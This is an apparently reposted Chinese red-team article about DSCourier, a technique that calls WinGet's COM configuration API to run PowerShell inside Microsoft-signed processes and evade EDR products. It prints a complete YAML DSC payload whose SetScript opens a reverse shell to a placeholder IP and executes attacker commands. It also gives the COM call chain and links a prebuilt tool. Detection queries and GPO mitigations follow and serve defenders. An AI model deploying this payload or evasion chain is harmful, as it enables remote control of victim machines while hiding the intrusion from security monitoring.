DSCourier:通过WinGetCOMAPI武器化DSC实现EDR规避执行

admin 2026-04-30 05:33:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: DSCourier是一种通过WinGetCOMAPI直接调用配置引擎的EDR规避技术,无需启动winget.exe进程即可在微软签名进程内执行任意PowerShell代码。该技术利用ConfigurationStaticFunctionsCOM接口将YAML载荷注入WindowsPackageManagerServer.exe,派生ConfigurationRemotingServer.exe实现无痕执行。测试表明可绕过CrowdStrikeFalcon、MicrosoftDefenderforEndpoint和ElasticSecurity等主流EDR产品。防御建议重点关注WindowsPackageManagerServer.exe和ConfigurationRemotingServer.exe的异常活动。 综合评分: 87 文章分类: 红队,内网渗透,免杀,渗透测试,EDR规避


cover_image

DSCourier:通过 WinGet COM API 武器化 DSC 实现 EDR 规避执行

Dylan Davis Dylan Davis

securitainment

2026年4月29日 17:48 中国香港

在小说阅读器读本章

去阅读

| 原文链接 | 作者 | | — | — | | https://dylansec.com/DSCourier/ | Dylan Davis & Matthew Schramm |

简介

将 Windows 包管理器 (WinGet) 作为离地攻击二进制文件加以滥用并非新鲜概念。早期研究,例如 Zero Salarium 于 2024 年 12 月发布的研究,已证明 winget.exe可借助其 configure子命令充当 PowerShell 执行的代理。

本文在此基础上更进一步。我们绕过对 winget.exe的直接调用,改为通过 COM API直接调用 WinGet 配置引擎,从而将 CLI 进程彻底从执行链中剥离。最终效果是在一个经 Microsoft 签名的进程内实现任意代码执行,且进程树中不包含 winget.exepowershell.exe或 cmd.exe


WinGet 是什么?

WinGet 是微软为 Windows 提供的官方包管理器。类似于 Debian 上的 apt 或 macOS 上的 brew,它允许用户直接在终端中搜索、安装、更新和卸载软件,无需手动浏览下载页面或启动 GUI 安装程序。

WinGet 之所以值得关注,在于其广泛的可用性。它原生内置于 Windows 10、Windows 11 及 Windows Server 2025 的现代版本中,因此成为 离地攻击滥用的潜在对象。许多管理员将其用于软件安装,但 WinGet 还提供了一个 configure子命令,能够从 YAML 文件应用机器配置 (包括执行 PowerShell)。正是这一功能,让事情变得颇为有趣。


WinGet 作为 PowerShell 执行代理

WinGet 的 configure 命令接受用于定义 DSC 资源的 YAML 文件。在所有可用资源中,PSDscResources/Script支持任意 PowerShell 代码执行。此时 PowerShell 并不通过 powershell.exe或 pwsh.exe执行,而是通过 ConfigurationRemotingServer.exe执行——后者是 WinGet 包目录下经 Microsoft 签名的二进制文件。仅凭这一特性,WinGet 便可充当 PowerShell 执行的代理,从而有可能绕过针对传统 PowerShell 宿主进程的监控。


直接使用 winget.exe 的局限性

虽然 WinGet 能够通过受信任的进程执行 PowerShell,但从进攻角度来看,直接使用 winget configure存在几处明显不足。

进程创建日志暴露入口点:winget.exe会出现在进程创建日志中,记录其完整命令行,包括 YAML 配置文件的路径。无论配置来自远程 URL 还是本地磁盘,完整路径或 URL 均会被记录在命令行参数中 (如下方 process.command_line 所示)。防御者只需编写一条简单的 KQL 查询,即可检索所有 WinGet configure 执行记录,并立即确认应用了哪些内容及其来源:

process.name: "winget.exe"and process.command_line: (*configure*or*configuration*or*dsc*)

EDR log showing winget.exe process creation with full command line visible

父子进程关系提供取证上下文:当从 shell 调用 winget configure时,cmd.exe或 powershell.exe会以父进程身份出现在进程树中,位于 winget.exe之上。这一情况本身可能是合法的——例如系统管理员手动执行配置——但它为防御者提供了完整的调查链:他们可以看到命令由谁发起、来自哪个终端会话、以及引用了哪个 YAML 文件。这里的重点并非进程链本身具有恶意性,而在于它完全可观察,并可追溯回源头。

因此,尽管 ConfigurationRemotingServer.exe内部的下游执行存在检测盲区,通过 winget.exe的启动路径对于任何部署了基本进程监控的组织而言仍是完全透明可见的。


构建 YAML 载荷

在讨论如何消除 winget.exe之前,有必要先了解一个武器化 YAML 配置文件的结构。WinGet DSC 配置遵循 DSC v0.2 架构,支持包含多个按顺序执行的资源。

以下是一个极度简化的配置文件示例,用于建立反向 shell。

properties:
configurationVersion: 0.2.0
resources:
-resource: PSDscResources/Script
id: env-health-check
directives:
description: SimpleReverseShellExample
allowPrerelease: true
settings:
GetScript: |
@{ Result="OK" }
SetScript: |
$client= [System.Net.Sockets.TcpClient]::new()
$client.Connect('IP_ADDRESS', 443)
$stream=$client.GetStream()
$writer= [System.IO.StreamWriter]::new($stream)
$reader= [System.IO.StreamReader]::new($stream)
$writer.AutoFlush=$true
$writer.WriteLine("[+] Shell from $env:COMPUTERNAME as $env:USERNAME via ConfigurationRemotingServer")
while ($true) {
$writer.Write('DSC> ')
$cmd=$reader.ReadLine()
if ($cmd-eq'exit') { break }
try {
$output=Invoke-Expression$cmd2>&1|Out-String
$writer.WriteLine($output)
              } catch {
$writer.WriteLine($_.Exception.Message)
              }
          }
$client.Close()
TestScript: |
$false
  • configurationVersion

    :指定所使用的 DSC 配置格式版本,0.2.0 为当前标准。

  • resource

    :指定所使用的 DSC 资源模块与类型,格式为 ModuleName/ResourceType。此例中,PSDscResources为模块类型,Script为资源类型,支持执行任意 PowerShell 代码。

  • id

    :资源的自定义标签,可任意命名,不影响实际功能。

  • allowPrerelease

    :允许 WinGet 在需要安装包或资源时使用预发布 (预览/测试版) 版本。

  • GetScript

    :用于返回当前状态的 PowerShell 脚本,DSC 调用此脚本以获取当前配置情况。本例中使用 @{ Result = "OK" }作为占位符。

  • SetScript

    :应用配置时实际执行的 PowerShell 脚本,其中的代码在 ConfigurationRemotingServer.exe内部运行。

  • TestScript

    :返回 $true或 $false的 PowerShell 脚本,DSC 优先调用此脚本检查目标状态是否已满足。若返回 $true,则跳过 SetScript;若返回 $false,则强制每次执行 SetScript。


从等式中去除 winget.exe

现有的大多数 WinGet 滥用检测方案都聚焦于监控 winget.exe的进程创建。但如果 winget.exe根本不会运行呢?

WinGet 通过 Microsoft.Management.Configuration命名空间中的 WinRT (Windows Runtime) COM API对外暴露其配置功能。该 API 注册于 Microsoft.DesktopAppInstaller包的 AppX 清单中,系统上的任何进程均可通过标准 COM 激活方式调用它。核心 COM 服务器包括:

  • PackageManager Class (WindowsPackageManagerServer)
  • ConfigurationStaticFunctions (DSC 配置引擎)

两者均无需管理员权限即可激活,且均会将 WindowsPackageManagerServer.exe(微软签名的二进制文件) 作为 COM 服务器宿主进程启动。无需安装额外软件——只要系统已安装 WinGet,这些组件即已就位。


COM API 技术的工作原理

WinGet 附带两个 Windows 元数据 (.winmd) 文件:Microsoft.Management.Configuration.winmd和 Microsoft.Management.Deployment.winmd,用于描述其客户端和配置引擎向进程外调用者公开的 COM/WinRT 接口。通过针对这些元数据文件构建 .NET 互操作层,自定义应用程序可以直接调用配置引擎。调用链如下:

  1. CoCreateInstance

    激活 ConfigurationStaticFunctions

  2. CreateConfigurationSetProcessorFactoryAsync("pwsh")

    创建 PowerShell DSC 处理器

  3. CreateConfigurationProcessor(factory)

    创建配置处理器

  4. OpenConfigurationSet(yamlStream)

    将 YAML 解析为配置集

  5. ApplySet(configSet, flags)

    应用配置

DSC 引擎会派生 ConfigurationRemotingServer.exe来执行资源,但入口点已不再是 winget.exe。调用方应用程序直接向 Microsoft 签名的 WinRT 服务发出 COM 调用。


互操作层

从 .NET 访问 WinGet Configuration COM API 需要一个互操作层,将 WinRT 类型投影到托管代码中。我们在 marticliment’s WinGet-API-from-CSharp 项目的基础上进行扩展,该项目为 WinGet 包管理 API 提供 COM 互操作能力。我们通过以下步骤添加了 Configuration API 支持:

  1. 将 Microsoft.Management.Configuration加入 CsWinRT 投影
  2. 注册 ConfigurationStaticFunctions
  3. 添加用于创建 ConfigurationStaticFunctions实例的方法

最终生成一组 DLL,供任意 .NET 应用程序通过 COM 调用 WinGet Configuration API。所有配套文件均为合法的 Microsoft 组件,只有我们的可执行文件 DSCourier.exe是自定义的。


进程树结构

DSCourier

传统 winget.exe 方式:

cmd.exe
 └── winget.exe (configure -f payload.yaml)
       └── ConfigurationRemotingServer.exe [Microsoft-signed]

DSCourier COM API 方式:

svchost.exe (DCOMLaunch)
 └── WindowsPackageManagerServer.exe    [Microsoft-signed]
       └── ConfigurationRemotingServer.exe    [Microsoft-signed]

DSCourier 所产生的进程树与合法的 WinGet COM 调用方所生成的进程树完全一致,且全程不产生 winget.exe进程。

#

绕过 EDR 方案

基于 COM 的方式规避了 winget.exe的生成,执行过程全部在微软签名进程内完成,从而绕过了多种依赖进程树启发式分析和已知二进制遥测数据的企业级 EDR 方案。

CrowdStrike Falcon

DSCourier 在实际部署的 CrowdStrike Falcon 环境中完成了测试。载荷成功执行,未触发任何阻断或检测。Falcon 基于进程的遥测未将 WindowsPackageManagerServer.exe或 ConfigurationRemotingServer.exe标记为恶意,反向 shell 成功回连。

Microsoft Defender for Endpoint (MDE)

该技术同样绕过了 Microsoft Defender for Endpoint。MDE 的默认检测规则以常见执行代理和 LOLBins 为目标,而 WindowsPackageManagerServer.exe发起的 DSC 配置处理与现有行为特征不匹配,载荷因此得以在未被检测的情况下执行。

Elastic Security EDR

测试中,Elastic Security EDR同样被绕过。Elastic 针对 PowerShell 及基于脚本执行的检测规则通常绑定于 powershell.execmd.exe等解释器进程。COM API 方式完全规避了上述检测,因为执行链路为 svchost.exe→ WindowsPackageManagerServer.exe→ ConfigurationRemotingServer.exe,该链路不触发 Elastic 的默认检测规则。


检测

防御者需重点关注 WindowsPackageManagerServer.exe和 ConfigurationRemotingServer.exe

由 DSC 执行组件派生的 shell 是最有力的单一检测指标。ConfigurationRemotingServer.exe即使在纯 COM 路径下也会持续存在,且正常使用场景不会派生交互式 shell:

event.category:process and event.type:start and
process.parent.name:("ConfigurationRemotingServer.exe"or"WindowsPackageManagerServer.exe") and
process.name:("powershell.exe"or"pwsh.exe"or"cmd.exe"or"wscript.exe"or"cscript.exe"or"conhost.exe")

EDR logs showing conhost.exe spawned as a child of ConfigurationRemotingServer.exe

注意:以上日志由上述反向 shell YAML 资源中的 shell 命令执行后生成。每当控制台应用程序启动时,Windows 均会附加 conhost.exe,因此若其以 ConfigurationRemotingServer.exe的子进程形式出现,本身即可作为 DSC 执行期间派生了 shell 的指标。


防御措施

完全禁用 WinGet:将 ‘Enable App Installer’ 设置为 Disabled,可阻断所有 WinGet 功能性操作。

  • GPO:Computer Configuration → Administrative Templates → Windows Components → Desktop App Installer → Enable App Installer→ 设置为 Disabled。

禁用 WinGet 配置功能:禁用 winget configure及底层 COM 配置接口,同时保留包安装功能。

  • GPO:Computer Configuration → Administrative Templates → Windows Components → Desktop App Installer → Enable Windows Package Manager Configuration→ 设置为 Disabled。

受限语言模式 (CLM)、WDAC、AppLocker 等。


结论

通过 COM 而非 CLI 调用 DSC 引擎,可在 Microsoft 签名进程内执行任意代码,且不产生任何 winget.exe痕迹。

关键启示之一在于,这表明仅针对 winget.exe的检测策略存在明显不足。防御者还需将可见性延伸至 WindowsPackageManagerServer.exe和 ConfigurationRemotingServer.exe的行为层面。该技术最终揭示了受信任的 Windows 管理组件如何被以难以与正常系统活动区分的方式加以利用。


源代码

DSCourier 可在 GitHub 上获取:github.com/DylanDavis1/DSCourier

仓库的 Releases 标签页提供预编译二进制文件,同时附带用于测试的 YAML 配置文件,以及用于从源代码构建的脚本。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment Dylan Davis Dylan Davis《DSCourier:通过 WinGet COM API 武器化 DSC 实现 EDR 规避执行》

怎么操作的?视频无限赞 网络安全文章

怎么操作的?视频无限赞

文章总结: 该文档内容显示为蚁景网络安全相关的推广信息,包含图片和日期标记但缺乏具体技术内容,疑似为产品广告或宣传材料。 综合评分: 15 文章分类: 软文广告
评论:0   参与:  0